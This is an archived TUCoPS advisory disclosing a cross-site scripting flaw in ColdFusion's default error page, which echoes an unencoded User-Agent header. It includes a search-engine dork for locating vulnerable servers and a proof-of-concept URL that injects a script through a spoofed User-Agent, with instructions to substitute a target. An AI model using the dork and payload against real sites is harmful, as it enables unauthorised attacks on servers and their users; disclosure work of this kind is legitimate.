TUCoPS :: Web :: Servers :: c07-2227.htm

Cold Fusion Web Server XSS 0 day
Cold Fusion Web Server XSS 0 day
Cold Fusion Web Server XSS 0 day



Title: Cold Fusion Web Server XSS 0 day
Own3d by: digi7al64
thx: WhiteAcid
About: Default settings in Cold Fusion server ensure it returns a standardized error page whenever a exception occurs (404,500 etc). This page then echos the user agent, ip and referer back to the user for debugging purposes. Unfortunately though, whilst the referer is encoded to stop xss, the user agent isn't. Hence spoofing of the user agent allows xss to be performed.
Googledork: intitle:Error Occurred While Processing Request.


POC (IE6/IE7 only - can't spoof headers in FF or Opera with flash):
h**p://www.whiteacid.org/misc/xss_headers.php?xss_target=http://www.example.com/&USER_AGENT=%3Cscript%3Ealert(String.fromCharCode(120,115,115))%3C/script%3E&HTTP_REFERER=http://www.google.com/ 

**Make sure you change http://example.com/ to target url for POC to work** 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH